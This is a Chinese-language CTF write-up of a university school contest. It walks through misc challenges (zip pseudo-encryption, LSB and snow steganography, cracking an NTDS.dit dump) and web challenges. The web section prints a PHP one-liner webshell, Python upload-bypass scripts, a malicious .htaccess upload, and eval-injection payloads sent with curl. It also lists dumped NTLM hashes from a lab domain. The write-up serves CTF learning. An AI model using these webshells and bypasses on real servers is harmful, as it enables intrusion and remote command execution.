前言
受ZJUT亲爱的白糖学长的蛊惑,我在前往上海看未来有你2025演唱会前一天晚上赶着完成了ZJUT的CTF2026校赛,噩梦的开始
主要是ta的博客里是这么写前一届的比赛的,我真信了,于是在当天晚上打到凌晨3点……,不过第二天应援我还怪有精力的就是了
前言
这次赛题感觉整体难度不高,不会或者不了解的地方上网搜搜很快就能学会,答出大部分题应该是足够了。
——by sugerMGP的博客

被mgg学长拉爆力(悲

mgg学长炸鱼珍贵录像(第2个是我)
我需要准备什么?
首先,你需要这些环境
python环境
conda python虚拟环境(方便安装一些上古工具)
换过国内源的pip
linux环境(强烈建议)
Linux环境可以考虑装WSL,建议是Debian或者Ubuntu,怎么顺手怎么来
其次是工具,做misc和编写py脚本可能会用到
vscode(写脚本)
010editor(十六进制编辑器)或者 Winhex
binwalk(查看文件结构,debain、ubuntu仓库里面有)
任何一个AI
聪明的大脑和灵巧的双手
开始前,可以在linux下使用conda创建一个虚拟python环境
conda create -n ctf python=3.14
conda activate ctfMISC
zip1
签到题,密码就在zip包注释里
unzip -z flag.zip在 Windows 上直接右键压缩包 -> 属性 -> 摘要(或者直接用 WinRAR/7-Zip 打开看右侧栏)
看到==,拿到了一个base64加密串
echo "aV8xT3YzX0N0Zg==" | base64 -d得到密码i_1Ov3_Ctf
图片的秘密
第二题,给了个相机的图片
安装exiftool
sudo apt install exiftoolexiftool photo.jpg在comment里面找到了flag
当然你也可以用strings读取里面的字符串
strings photo.jpg | grep -i "stinger"zip2
第三题,尝试使用7zip解压的时候需要密码,但是报错头部不正确
丢到linux下看这个压缩包
╭─[fridayssheep@allinone:~/文档]—{^o^}—(18:41:52)—(7ms)
╰─$> unzip -z zip21.zip
Archive: zip21.zip
╭─[fridayssheep@allinone:~/文档]—{^o^}—(18:42:01)—(9ms)
╰─$> unzip -v zip21.zip
Archive: zip21.zip
Length Method Size Cmpr Date Time CRC-32 Name
-------- ------ ------- ---- ---------- ----- -------- ----
202 Defl:N 138 32% 2025-12-12 21:18 9b79978b flag.zip
8713 Defl:N 8353 4% 2025-12-12 21:16 03511ae9 Stinger-end.png
-------- ------- --- -------
8915 8491 5% 2 files
╭─[fridayssheep@allinone:~/文档]—{^o^}—(18:42:05)—(8ms)
╰─$> unzip zip21.zip
Archive: zip21.zip
[zip21.zip] flag.zip password:发现不对了,unzip -v 的列表里没有加密标志(没有星号 *),但是直接解压需要密码?由此判断这个压缩包是伪加密
怎么处理伪加密的压缩包?
将这个压缩包拖到010editor里面搜索十六进制 50 4B 01 02(这是中央目录区的头)。
在这个头后面第 8 个字节(通常是偏移 8 的位置),一半可以看到 09 00 或者 01 00。
把它改成 00 00,保存。

得到了一个图片和一个被加密的压缩包
尝试用exiftool看这个图片,但是这次啥也没有
没招了,开始乱猜,改图片高度,看010editor……,最后查了一通资料后考虑到会不会是LSP隐写
使用zsteg来检查LSP隐写,不过debian默认apt库里没有zsteg,需要使用gem安装
╭─[fridayssheep@allinone:~/文/zsteg|master]—{^o^}—(19:07:07)—(8ms)
╰─$> gem install zsteg
Defaulting to user installation because default installation directory (/var/lib/gems/3.3.0) is not writable.
WARNING: You don't have /home/fridayssheep/.local/share/gem/ruby/3.3.0/bin in your PATH,
gem executables (zsteg, zsteg-mask, zsteg-reflow) will not run.
Successfully installed zsteg-0.2.13
Parsing documentation for zsteg-0.2.13
Done installing documentation for zsteg after 0 seconds
1 gem installed
╭─[fridayssheep@allinone:~/文/zsteg|master]—{^o^}—(19:07:16)—(5.481s)
╰─$> zsteg
-bash: zsteg: 未找到命令
╭─[fridayssheep@allinone:~/文/zsteg|master]—{>_<:127}—(19:07:20)—(6ms)
╰─$> echo 'export PATH="$PATH:/home/fridayssheep/.local/share/gem/ruby/3.3.0/bin"' >> ~/.bashrc
╭─[fridayssheep@allinone:~/文/zsteg|master]—{>_<:127}—(19:08:03)—(4ms)
╰─$> source ~/.bashrc配置好PATH后,使用zsteg检查这个图片,这下出来了
╭─[fridayssheep@allinone:~/文/zsteg|master]—{^o^}—(19:08:23)—(233ms)
╰─$> zsteg -a ../Stinger-end.png
b1,rgb,lsb,xy .. text: "password1sCTF666"
b1,abgr,msb,xy .. file: OpenPGP Secret Key
b2,r,lsb,xy .. text: ["U" repeated 53 times]
b2,g,lsb,xy .. text: ["U" repeated 53 times]
b2,b,lsb,xy .. text: "@UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU"解压第二个压缩包,就拿到flag了
zip3
给了1个zip和1个写着这个zip的txt文件,双击发现zip文件里面还是1个zip和写着这个zip的txt文件,你搁这套娃呢?
写个python脚本来处理这些套娃压缩包
import zipfile
import os
# 初始设置
zip_filename = "100.zip" #第一个压缩包
current_password = "nestedpassword-0.02508752348381546" # 初始密码
def extract_nested_zip(zip_file, password):
count = 0
while True:
try:
with zipfile.ZipFile(zip_file) as zf:
# 尝试用密码解压
zf.extractall(pwd=password.encode())
# 查找解压出来的文件
files = zf.namelist()
print(f"成功解压第 {count} 层: {files}")
# 寻找下一个密码文件和下一个压缩包
next_zip = None
next_pass_file = None
for f in files:
if f.endswith('.zip'):
next_zip = f
if f.endswith('.txt'):
next_pass_file = f
if not next_zip:
print("到达最深层,没发现更多 ZIP 了!")
break
# 更新下一次循环的数据
if next_pass_file:
with open(next_pass_file, 'r') as f:
password = f.read().strip()
zip_file = next_zip
count += 1
except Exception as e:
print(f"解压出错或密码错误: {e}")
break
extract_nested_zip(zip_filename, current_password)在最后一个txt里面拿到了flag
域控密码读取
在开始这个题之前,容许我发泄一下我的个人情绪:
虽然我不知道出这道题的人是谁,但是这个题结结实实的把我对我校网络安全协会的好感败了个光
首先给了一个内含txt的zip加密文件和ntds与system文件
使用binwalk查看这个zip包
╭─[fridayssheep@allinone:~/文/dict&system]—{^o^}—(23:21:55)—(806ms)
╰─$> binwalk flag1.zip
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Zip archive data, encrypted at least v2.0 to extract, compressed size: 184, uncompressed size: 223, name: flag.txt
╭─[fridayssheep@allinone:~/文/dict&system]—{^o^}—(23:21:56)—(884ms)
╰─$> file system && file ntds
system: MS Windows registry file, NT/2000 or above
ntds: Extensible storage engine DataBase, version 0x620, checksum 0x6c04bc87, page size 8192, Windows version 10.0
╭─[fridayssheep@allinone:~/文/dict&system]—{^o^}—(23:21:56)—(193ms)
╰─$>ntds (NTDS.dit):这是域控制器的数据库,存储了域内所有用户的账户信息、组关系,以及最重要的——所有用户的密码哈希 (NTLM Hashes)。
system (SYSTEM hive):这是 Windows 注册表文件。ntds.dit 是加密存储的,而解密它所需的 Boot Key(引导密钥) 就藏在这个 system 文件里。
我在通过secretsdump解密出来了拿到的AD域控文件之后,尝试了将里面的占位NTML hash加密、各个用户名、密码加密编写了一个python脚本全部用于尝试解密压缩包,没有一个正确。同时解密出来的AD域控文件的history记录里面有一个修改过名字的用户,我在之后着重关注了这个修改过密码的krbtgt_history0。
通常如果用户修改过密码,-history 会显示 username_historyX。
格式: 用户:RID:LM哈希:NT哈希:::
例如 Administrator 的 NT Hash 是 dbd13e1c4e338284ac4e9874f7de6ef4。
那个 aad3b435b51404eeaad3b435b51404ee 是默认空密码的 LM Hash
我曾经尝试想过要不要用hashcat爆破第一个压缩包,于是我clone了kail的rockyou.txt,尝试以此作为特征字典爆破第一个压缩包,但是没有成功
╭─[fridayssheep@allinone:~/文/dict\&system]—{^o^}—(00:21:07)—(8ms)
╰─$> zipinfo -v flag1.zip | grep -i encrypt
╭─[fridayssheep@allinone:~/文/dict\&system]—{^o^}—(00:21:08)—(14ms)
╰─$> hashcat -m 13600 flag1.zip rockyou.txt --force
╭─[fridayssheep@allinone:~/文/dict\&system]—{^o^}—(00:22:41)—(1m32s)
╰─$> hashcat -m 13600 flag1.zip --show --outfile zip.hash --force
╭─[fridayssheep@allinone:~/文/dict\&system]—{^o^}—(00:22:58)—(18s)
╰─$> hashcat -m 13600 flag1.zip --keyspace --force最终,当时间划过00:40,我彻底放弃了这个题,我已经在这个题上消耗了超过1个半小时,我的逆向和web题却一点没写,再不写就来不及了
那么,第一个zip包的密码是什么呢?
是他妈的我一直在用的工具名字secretsdump,里面的txt不是flag,是另一个压缩包,这个压缩包的密码就是他妈的的Windows NTML空密码的hash值
怎么知道这个压缩包的密码是这个工具呢?不知道,而且这题没有任何提示

到了这里我已经不想过多的吐槽,直接放给Grok的图好了


这道题的本质以我个人理解,更像是“猜测出题人的想法”而不是去真真切切的应用知识和理解这个AD域的题,被这样的题ex两个小时我真的无话可说。如果出题的目的是考验选手的应变能力的话那我不觉得这个出题水平能有多高,反而,我极其鄙视这样的做法,我是来打比赛的,不是来玩剧本杀的。
解题方法
第一层加密无话可说,就是工具名字secretsdump
之后使用secretsdump解密AD域控文件,里面出现了大多Windows空密码占位NTML hash,将解压出来的txt文件改为zip文件,使用密码aad3b435b51404eeaad3b435b51404ee 解压这个zip文件即可拿到此题的flag
╭─[fridayssheep@allinone:~/文/dict&system]—{^o^}—(23:14:01)—(52ms)
╰─$> secretsdump.py -system system -ntds ntds LOCAL -history
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xae5564d04e225ccba0d2643161c48b10
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: ddb6a826834aad5816b4c80b5220276b
[*] Reading and decrypting hashes from ntds
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
WINTERFELL$:1001:aad3b435b51404eeaad3b435b51404ee:aa685d65871bfdf122009745b03f8e01:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8bf38852ab8d3a887ae867500c9a48c5:::
krbtgt_history0:502:aad3b435b51404eeaad3b435b51404ee:b5ca59b606a13445af2043409d2c0086:::
CASTELBLACK$:1104:aad3b435b51404eeaad3b435b51404ee:723026eda8195b4bd9e82caef809c40f:::
arya.stark:1109:aad3b435b51404eeaad3b435b51404ee:4f622f4cd4284a887228940e2ff4e709:::
eddard.stark:1110:aad3b435b51404eeaad3b435b51404ee:d977b98c6c9282c5c478be1d97b237b8:::
catelyn.stark:1111:aad3b435b51404eeaad3b435b51404ee:cba36eccfd9d949c73bc73715364aff5:::
robb.stark:1112:aad3b435b51404eeaad3b435b51404ee:831486ac7f26860c9e2f51ac91e1a07a:::
sansa.stark:1113:aad3b435b51404eeaad3b435b51404ee:2c643546d00054420505a2bf86d77c47:::
brandon.stark:1114:aad3b435b51404eeaad3b435b51404ee:84bbaa1c58b7f69d2192560a3f932129:::
rickon.stark:1115:aad3b435b51404eeaad3b435b51404ee:7978dc8a66d8e480d9a86041f8409560:::
hodor:1116:aad3b435b51404eeaad3b435b51404ee:337d2667505c203904bd899c6c95525e:::
jon.snow:1117:aad3b435b51404eeaad3b435b51404ee:b8d76e56e9dac90539aff05e3ccb1755:::
samwell.tarly:1118:aad3b435b51404eeaad3b435b51404ee:f5db9e027ef824d029262068ac826843:::
jeor.mormont:1119:aad3b435b51404eeaad3b435b51404ee:6dccf1c567c56a40e56691a723a49664:::
sql_svc:1120:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::
SEVENKINGDOMS$:1121:aad3b435b51404eeaad3b435b51404ee:1b89cf55c349b296a8fc34f95d7580e0:::
[*] Kerberos keys from ntds
Administrator:aes256-cts-hmac-sha1-96:e7aa0f8a649aa96fab5ed9e65438392bfc549cb2695ac4237e97996823619972
Administrator:aes128-cts-hmac-sha1-96:bb7b6aed58a7a395e0e674ac76c28aa0
Administrator:des-cbc-md5:fe58cdcd13a43243
vagrant:aes256-cts-hmac-sha1-96:aa97635c942315178db04791ffa240411c36963b5a5e775e785c6bd21dd11c24
vagrant:aes128-cts-hmac-sha1-96:0d7c6160ffb016857b9af96c44110ab1
vagrant:des-cbc-md5:16dc9e8ad3dfc47f
WINTERFELL$:aes256-cts-hmac-sha1-96:c0880c4af7d14d09402a8138bb48d1b526e1fa5f5fc4ce4f9fe89ef2422eb304
WINTERFELL$:aes128-cts-hmac-sha1-96:23b19c152d6b8c3aa275b16b082675ed
WINTERFELL$:des-cbc-md5:7ff72c75d5d683b5
krbtgt:aes256-cts-hmac-sha1-96:82b8cbbbe398df35611657a4fab06f32fedc6a9c0036ae6e0988193de5c30a8c
krbtgt:aes128-cts-hmac-sha1-96:d4a753716a2747b19c1eb09a9e0d4a97
krbtgt:des-cbc-md5:708ad92523fdf7b6
CASTELBLACK$:aes256-cts-hmac-sha1-96:ac20a1c7051889152b6811094c6e52bd854d347a0e9b52ad63b6ea98794b1423
CASTELBLACK$:aes128-cts-hmac-sha1-96:c1fe9a27470b9bd8e0e9537e4f63b3ae
CASTELBLACK$:des-cbc-md5:fec498bf3eea5ef8
arya.stark:aes256-cts-hmac-sha1-96:2001e8fb3da02f3be6945b4cce16e6abdd304974615d6feca7d135d4009d4f7d
arya.stark:aes128-cts-hmac-sha1-96:8477cba28e7d7cfe5338d172a23d74df
arya.stark:des-cbc-md5:13525243d6643285
eddard.stark:aes256-cts-hmac-sha1-96:f6b4d01107eb34c0ecb5f07d804fa9959dce6643f8e4688df17623b847ec7fc4
eddard.stark:aes128-cts-hmac-sha1-96:5f9b06a24b90862367ec221a11f92203
eddard.stark:des-cbc-md5:8067f7abecc7d346
catelyn.stark:aes256-cts-hmac-sha1-96:c8302e270b04252251de40b2bd5fba37395b55d5ed9ac95e03213dc739827283
catelyn.stark:aes128-cts-hmac-sha1-96:50ce7e2ad069fa40fb2bc7f5f9643d93
catelyn.stark:des-cbc-md5:6b314670a2f84cfb
robb.stark:aes256-cts-hmac-sha1-96:d7df5069178bbc93fdc34bbbcb8e374fd75c44d6ce51000f24688925cc4d9c2a
robb.stark:aes128-cts-hmac-sha1-96:b2965905e68356d63fedd9904357cc42
robb.stark:des-cbc-md5:c4b62c797f5dd01f
sansa.stark:aes256-cts-hmac-sha1-96:cd2460a78e8993442498d3f242a88ae110ec6556e40c8add6aab12cfb44b3fa1
sansa.stark:aes128-cts-hmac-sha1-96:18b9d10bd18d1956ba73c14426ec519f
sansa.stark:des-cbc-md5:e66445757c31c176
brandon.stark:aes256-cts-hmac-sha1-96:6dd181186b68898376d3236662f8aeb8fa68e4b5880744034d293d18b6753b10
brandon.stark:aes128-cts-hmac-sha1-96:9de3581a163bd056073b71ab23142d73
brandon.stark:des-cbc-md5:76e61fda8a4f5245
rickon.stark:aes256-cts-hmac-sha1-96:79ffda34e5b23584b3bd67c887629815bb9ab8a1952ae9fda15511996587dcda
rickon.stark:aes128-cts-hmac-sha1-96:d4a0669b1eff6caa42f2632ebca8cd8d
rickon.stark:des-cbc-md5:b9ec3b8f2fd9d98a
hodor:aes256-cts-hmac-sha1-96:a33579ec769f3d6477a98e72102a7f8964f09a745c1191a705d8e1c3ab6e4287
hodor:aes128-cts-hmac-sha1-96:929126dcca8c698230b5787e8f5a5b60
hodor:des-cbc-md5:d5764373f2545dfd
jon.snow:aes256-cts-hmac-sha1-96:5a1bc13364e758131f87a1f37d2f1b1fa8aa7a4be10e3fe5a69e80a5c4c408fb
jon.snow:aes128-cts-hmac-sha1-96:d8bc99ccfebe2d6e97d15f147aa50e8b
jon.snow:des-cbc-md5:084358ceb3290d7c
samwell.tarly:aes256-cts-hmac-sha1-96:b66738c4d2391b0602871d0a5cd1f9add8ff6b91dcbb7bc325dc76986496c605
samwell.tarly:aes128-cts-hmac-sha1-96:3943b4ac630b0294d5a4e8b940101fae
samwell.tarly:des-cbc-md5:5efed0e0a45dd951
jeor.mormont:aes256-cts-hmac-sha1-96:be10f893afa35457fcf61ecc40dc032399b7aee77c87bb71dd2fe91411d2bd50
jeor.mormont:aes128-cts-hmac-sha1-96:1b0a98958e19d6092c8e8dc1d25c788b
jeor.mormont:des-cbc-md5:1a68641a3e9bb6ea
sql_svc:aes256-cts-hmac-sha1-96:24d57467625d5510d6acfddf776264db60a40c934fcf518eacd7916936b1d6af
sql_svc:aes128-cts-hmac-sha1-96:01290f5b76c04e39fb2cb58330a22029
sql_svc:des-cbc-md5:8645d5cd402f16c7
SEVENKINGDOMS$:aes256-cts-hmac-sha1-96:c2ac7ab055d49ba523564eab3bfe041e026ce6745413cb8ea19514771de06080
SEVENKINGDOMS$:aes128-cts-hmac-sha1-96:5796cbf539ac141f8fed3a05892eff12
SEVENKINGDOMS$:des-cbc-md5:92d5bf79fe57158a
[*] Cleaning up...
╭─[fridayssheep@allinone:~/文/dict&system]—{^o^}—(23:14:22)—(3.877s)
╰─$>都是你的戳
给了一张神秘小图片,使用binwalk发现其实是个套娃文件,直接-e提取这个文件
╭─[fridayssheep@allinone:~/文/new]—{^o^}—(23:46:12)—(7ms)
╰─$> binwalk challenge.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 2048 x 2048, 8-bit/color RGB, non-interlaced
223 0xDF Zlib compressed data, default compression
4116349 0x3ECF7D Zip archive data, at least v2.0 to extract, name: gallery/
4116387 0x3ECFA3 Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/01.jpg
4152135 0x3F5B47 Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/02.jpg
4187883 0x3FE6EB Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/03.jpg
4223631 0x40728F Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/04.jpg
4259379 0x40FE33 Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/05.jpg
4295127 0x4189D7 Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/06.jpg
4330875 0x42157B Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/07.jpg
4366623 0x42A11F Zip archive data, at least v2.0 to extract, compressed size: 492, uncompressed size: 1867,name: secret_letter.txt
4368023 0x42A697 End of Zip archive, footer length: 22
╭─[fridayssheep@allinone:~/文/new]—{^o^}—(23:46:21)—(7ms)
╰─$> binwalk -e challenge.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
223 0xDF Zlib compressed data, default compression
4116349 0x3ECF7D Zip archive data, at least v2.0 to extract, name: gallery/
4116387 0x3ECFA3 Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/01.jpg
4152135 0x3F5B47 Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/02.jpg
4187883 0x3FE6EB Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/03.jpg
4223631 0x40728F Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/04.jpg
4259379 0x40FE33 Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/05.jpg
4295127 0x4189D7 Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/06.jpg
4330875 0x42157B Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/07.jpg
4366623 0x42A11F Zip archive data, at least v2.0 to extract, compressed size: 492, uncompressed size: 1867,name: secret_letter.txt
WARNING: One or more files failed to extract: either no utility was found or it's unimplemented
╭─[fridayssheep@allinone:~/文/new]—{^o^}—(23:46:23)—(3.173s)
╰─$> ls
challenge.jpg _challenge.jpg.extracted/进入提取出来的文件夹后发现有个歌词,但是歌词明显大的不正常
╭─[fridayssheep@allinone:~/文/n/_challenge.jpg.extracted]—{^o^}—(23:48:31)—(24.615s)
╰─$> ls
3ECF7D.zip DF DF.zlib secret_letter.txt
解压那个3ECF7D.zip,得到了gallery文件夹(其实binwalk会把这个zip也自动提取出来),进入gallery这个文件夹,根据提示列出时间戳
╭─[fridayssheep@allinone:~/文/n/_/gallery]—{>_<:2}—(23:48:35)—(8ms)
╰─$> ls -la --full-time ./
总计 252
drwxrwxr-x 1 fridayssheep fridayssheep 84 2025-12-17 19:50:24.000000000 +0800 ./
drwxrwxr-x 1 fridayssheep fridayssheep 86 2025-12-25 19:33:50.785141338 +0800 ../
-rw-rw-r-- 1 fridayssheep fridayssheep 35854 2024-03-10 00:01:24.000000000 +0800 01.jpg
-rw-rw-r-- 1 fridayssheep fridayssheep 35854 2024-03-10 00:01:46.000000000 +0800 02.jpg
-rw-rw-r-- 1 fridayssheep fridayssheep 35854 2024-03-10 00:01:50.000000000 +0800 03.jpg
-rw-rw-r-- 1 fridayssheep fridayssheep 35854 2024-03-10 00:01:42.000000000 +0800 04.jpg
-rw-rw-r-- 1 fridayssheep fridayssheep 35854 2024-03-10 00:01:16.000000000 +0800 05.jpg
-rw-rw-r-- 1 fridayssheep fridayssheep 35854 2024-03-10 00:01:42.000000000 +0800 06.jpg
-rw-rw-r-- 1 fridayssheep fridayssheep 35854 2024-03-10 00:02:02.000000000 +0800 07.jpg之后再无思路了,拿去问ge迷你

一开始以为是图片隐写,遂用steghide 尝试提取一开始的图片,但是啥也没有
steghide extract -sf challenge.jpg -p TimeKey再用cat直接查看那个大的不正常的歌词文件的原始内容,发现了一堆^M空行,查了一下发现是Snow隐写,用刚刚得到的Timekey提取,成功得到了flag
╭─[fridayssheep@allinone:~/文/n/_challenge.jpg.extracted]—{^o^}—(23:54:03)—(12ms)
╰─$> stegsnow -C -p "TimeKey" secret_letter.txt
flag{Time_Stamps_Are_Interesting}
╭─[fridayssheep@allinone:~/文/n/_challenge.jpg.extracted]—{^o^}—(23:54:03)—(69ms)
╰─$>Web
文件上传挑战
给了上传接口,尝试上传一句话木马<?php @eval($_POST['cmd']);?>但是限制了上传文件类型,打开F12发现是纯前端限制,那解决方法就多了,可以抓包后改掉上传类型,那就写个py脚本解决吧

import requests
url = "http://ctf.zjutsoft.cn:10143/" # 目标地址
shell_content = "<?php @eval($_POST['cmd']);?>"
files = {
'fileToUpload': ('shell.php', shell_content, 'image/jpeg')
}
data = {
'submit': '上传文件'
}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
}
print(f"[*] 正在尝试上传到 {url} ...")
try:
response = requests.post(url, files=files, data=data, headers=headers)
print(f"[*] 状态码: {response.status_code}")
print("-" * 50)
print(response.text)
print("-" * 50)
except Exception as e:
print(f"[-] 发生错误: {e}")完成后使用crul尝试列出目录内容
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(01:33:53)—(257ms)
╰─$> curl -d "cmd=system('ls /');" http://ctf.zjutsoft.cn:10143/uploads/shell.php
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
varflag就躺在根目录下,把他cat出来就可以了
curl -d "cmd=system('cat /flag.txt');" http://ctf.zjutsoft.cn:10143/uploads/shell.phpweb签到题
无意义的限制了不能点击右键菜单,但是可以F12查看前端源码啊?
他真的,我哭死,他怕你不知道怎么弄还写了注释
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<title>Advanced Web CTF</title>
</head>
<body>
<h2>Nothing here 👀</h2>
<p>页面上是没有 flag 的。</p>
<script>
const APP_CONFIG = {
name: "ctf",
version: "1.2.3",
build: [115, 111, 95, 117, 114, 99, 101], // 🤔
debug: false
};
</script>
<script>
(function(){
document.oncontextmenu = () => false;
console.log(
"%cConsole is not only for errors.",
"color:#ff4d4f;font-size:16px"
);
})();
function _0x3f(a){
return String.fromCharCode(a);
}
function __init(){
let r = "";
for(let i of APP_CONFIG.build){
r += _0x3f(i);
}
return r;
}
//输入get_flag(1337)
function _x(){
let s = "ZWwwczBucw==";
return atob(s).split("").reverse().join("");
}
window["g"+"et"+"_"+"f"+"l"+"a"+"g"] = function(key){
if(key !== 1337){
return "Nope.";
}
let p1 = __init();
let p2 = _x();
return "flag{" + p1 + "_" + p2 + "}";
};
</script>
</body>
</html>在控制台里输入get_flag(1337)就可以拿到flag了
PHP命令执行
前端展示了一串PHP源码
<?php
error_reporting(0);
show_source(__FILE__);
eval("var_dump((Object)$_POST[1]);"); 这里里的逻辑是:程序接收通过POST发送的参数 1,将其强制转换为对象,然后用 var_dump()打印出来。
由于eval内部是用双引号包裹的字符串拼接,可以通过闭合括号和分号来逃逸出原本的var_dump逻辑,从而执行我们自己的命令。
简单构建一个payload即可
curl -d "1=1);system('cat /flag.txt');#" http://ctf.zjutsoft.cn:10150web签到题_request1
依旧是一串PHP源码
<?php
error_reporting(0);
highlight_file(__FILE__);
eval($_REQUEST[$_GET[$_POST[$_COOKIE['Web001']]]]['S']['t']['i']['n']['g']['e']['r'][6][6][6]);
?>要执行的 eval() 里面是一个超级复杂的索引: eval($_REQUEST[$_GET[$_POST[$_COOKIE['Web001']]]]['S']['t']['i']['n']['g']['e']['r'][6][6][6]);
为了让 eval 执行命令,需要从最内层开始:
第一层 (Cookie): 程序先找 $_COOKIE['Web001']。
第二层 (POST): 程序接着找 $_POST['a'](也就是刚才 Cookie 的值)。
第三层 (GET): 程序再找 $_GET['b'](也就是刚才 POST 的值)。
第四层 (REQUEST): 最后程序去 $_REQUEST['c'] 里找那一串套娃索引 ['S']['t']['i']['n']['g']['e']['r'][6][6][6]。
这意味着我们需要同时在 Cookie、POST 和 GET 中传参。
Cookie:
Web001=aPOST:
a=b&c[S][t][i][n][g][e][r][6][6][6]=system('cat /flag.txt');(PHP 会自动把c[S][t]...解析为多维数组)GET:
?b=c
直接用curl传入好了
curl -v -b "Web001=a" \
-d "a=b&c[S][t][i][n][g][e][r][6][6][6]=system('cat /flag.txt');" \
"http://ctf.zjutsoft.cn:10132/?b=c"file_upload2
这次变成了服务器端的upload.php做判断力(悲
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="上传文件" name="submit">
</form>这个php疑似是白名单模式,对任何php文件后缀都拒绝上传,那就只能使用.htaccess 配置文件攻击了,并且在之后的测试中发现这个php文件还会检查文件头,那就一次写个python脚本处理了吧
先尝试将一句话木马伪装成图片上传到服务器
import requests
url = "http://ctf.zjutsoft.cn:10143/upload.php"
# 尝试不同的内容格式(绕过代码内容检查)
contents = {
'standard': b"GIF89a\n<?php @eval($_POST['cmd']);?>",
'short_tag': b"GIF89a\n<?=@eval($_POST['cmd']);?>",
}
# 尝试不同的后缀(针对白名单)
extensions = ['jpg', 'png', 'jpeg', 'php.jpg', '.user.ini', '.htaccess']
def try_upload():
for content_type, content in contents.items():
for ext in extensions:
filename = f"test.{ext}" if ext != '.user.ini' and ext != '.htaccess' else ext
# 伪装 MIME 类型
mime = 'image/jpeg' if 'jpg' in ext or 'jpeg' in ext else 'image/png'
if ext == '.htaccess' or ext == '.user.ini':
mime = 'image/png' # 尝试伪装成图片上传配置文件
files = {'fileToUpload': (filename, content, mime)}
data = {'submit': '上传文件'}
print(f"[*] 尝试内容模式 [{content_type}] + 后缀 [{ext}] ...")
try:
response = requests.post(url, files=files, data=data)
if "成功" in response.text:
print(f"[!] 成功上传: {filename}")
# 寻找并打印文件路径
if "uploads/" in response.text:
print(f"路径回显: {response.text.split('uploads/')[1].split('<')[0]}")
return
else:
# 打印关键报错,看服务器到底在嫌弃什么
if "非法内容" in response.text:
print("[-] 报错: 非法内容(后缀或代码拦截)")
elif "类型错误" in response.text:
print("[-] 报错: 类型错误(MIME或后缀不匹配)")
except Exception as e:
print(f"[-] 异常: {e}")
try_upload()╭─[fridayssheep@allinone:~/文/web]—{>_<:2}—(01:49:22)—(26ms)
╰─$> python 5test.py
[*] 尝试内容模式 [standard] + 后缀 [jpg] ...
[!] 成功上传: test.jpg
路径回显: test.jpg" target="_blank">
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(01:49:25)—(254ms)
╰─$>上传成功了,接下来篡改服务器的.htaccess 配置文件
import requests
url = "http://ctf.zjutsoft.cn:10116/upload.php"
# 让 Apache 把所有 .jpg 后缀的文件都交给 PHP 解释器处理
htaccess_content = 'AddType application/x-httpd-php .jpg'
files = {
'fileToUpload': ('.htaccess', htaccess_content, 'image/jpeg') # 伪装成图片
}
data = {'submit': '上传文件'}
print("[*] 正在上传 .htaccess 以修改服务器解析规则...")
try:
response = requests.post(url, files=files, data=data)
if "成功" in response.text:
print("[+] .htaccess 上传成功!")
else:
print("[-] 上传失败")
print(response.text)
except Exception as e:
print(f"[-] 异常: {e}")╭─[fridayssheep@allinone:~/文/web]—{^o^}—(01:51:39)—(55ms)
╰─$> python 5-1.py
[*] 正在上传 .htaccess 以修改服务器解析规则...
[+] .htaccess 上传成功!
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(01:51:43)—(254ms)
╰─$> curl -d "cmd=system('cat /flag.txt');" http://ctf.zjutsoft.cn:10116/uploads/test.jpg
GIF89a
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(01:51:44)—(49ms)
╰─$>hyw啊,我的flag呢?
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(01:54:00)—(48ms)
╰─$> curl -d "cmd=var_dump(scandir('..'));" http://ctf.zjutsoft.cn:10116/uploads/test.jpg
GIF89a
array(6) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(8) "flag.php"
[3]=>
string(9) "index.php"
[4]=>
string(10) "upload.php"
[5]=>
string(7) "uploads"
}
